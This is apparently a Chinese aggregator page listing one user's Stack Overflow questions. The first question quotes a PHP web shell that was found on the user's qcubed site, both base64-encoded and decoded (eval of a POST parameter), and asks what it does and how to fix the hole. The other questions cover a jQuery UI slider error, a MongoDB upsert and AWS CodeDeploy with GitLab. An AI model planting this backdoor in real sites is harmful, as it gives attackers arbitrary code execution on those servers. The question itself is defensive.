小编Gab*_*iel的帖子

base64编码的$ _POST ['e']变量上的eval实际上做了什么?

好的,这就是我用Google搜索的内容:

似乎有一个名为"image.php"的上传文件上传到qcubed目录中.

该image.php文件包含以下base64代码:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
Run Code Online (Sandbox Code Playgroud)

解码它增加了这个:

if(isset($_POST['e']))

eval(base64_decode($_POST['e']));

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
Run Code Online (Sandbox Code Playgroud)

搜索输出的字符串我在其他网站上发现了simillar qcubed漏洞.

解码我得到的最后一个回音字符串:

196.231-172.28:ifacermpubmice:afac42eri02
Run Code Online (Sandbox Code Playgroud)

我真的不明白它的作用(使用:http://ostermiller.org/calc/encode.html).

能否请您解释一下我在这里面临的具体情况?我应该解决哪些安全漏洞才能解决这个问题?

php security eval

9
推荐指数
1
解决办法
6478
查看次数

$("#slider_range").slider不是函数

好的,我已经为Jquery UI添加了google api库,如下所示:

<script type='text/javascript'  src='https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.js' ></script>
Run Code Online (Sandbox Code Playgroud)

现在我有一个脚本可以更新文档幻灯片上的某些跨度和隐藏输入,而不仅仅是文档就绪:

<script type="text/javascript">
            $(document).ready(function()
            {
                 var slider=$('#slider_range').slider({
                        range:true,
                        min:0,
                        max:5,
                        step:1,
                        values:[0,3],
                        slide:function(event,ui)
                        {
                          $('#level').val(ui.values[0]+'-'+ui.values[1]);
                          $('#low').html(ui.values[0]);
                          $('#high').html(ui.values[1]);
                        }
                 });

                 var s=slider;
                 if(s.slider("values",0)==s.slider("values",1))
                 {
                    $('#level').val(s.slider("values",0));
                    $('#low').html(s.slider("values",0));
                    $('#high').html(s.slider("values",0));
                 }
                 else
                     {
                       $('#level').val(s.slider("values",0)+'-'+s.slider("values",1));
                       $('#low').html(s.slider("values",0));
                       $('#high').html(s.slider("values",1));
                     }
              });
         </script>
Run Code Online (Sandbox Code Playgroud)

ideea是在页面上显示滑块而在另一个页面上没有.我从Firebug得到的错误信息是这样的:

$("#slider_range").slider is not a function
Run Code Online (Sandbox Code Playgroud)

并指向该线

slide:function(event,ui)
Run Code Online (Sandbox Code Playgroud)

可能是什么导致了这个?为什么在页面上可以看到滑块和另一个(使用加载上面的相同模板)的滑块?

请帮忙!

javascript jquery firebug jquery-ui jquery-slider

5
推荐指数
1
解决办法
2万
查看次数

MongoDb替换文档并在不存在时插入

我希望在已存在的情况下替换文档,如果不存在,我希望将其插入.我怎么能在mongoDb中做到这一点?

我需要这样的东西,但在一个查询中:

find by a "where statement"
if exists, replace whole document
else, insert
Run Code Online (Sandbox Code Playgroud)

谢谢!

mongodb nosql mongodb-php

5
推荐指数
2
解决办法
4484
查看次数

AWS CodeDeploy与GitLab的集成

我已经在NAT后面的专用子网中设置了两个EC2实例。这些实例都在一个AutoScalling组中。我想将CodeDeploy与来自GitLab的存储库集成。

我现在能想到的就是在appspec.yml文件的BeforeInstall挂钩上运行脚本。

还有另一种方法吗?

amazon-ec2 amazon-web-services gitlab aws-code-deploy

2
推荐指数
1
解决办法
4301
查看次数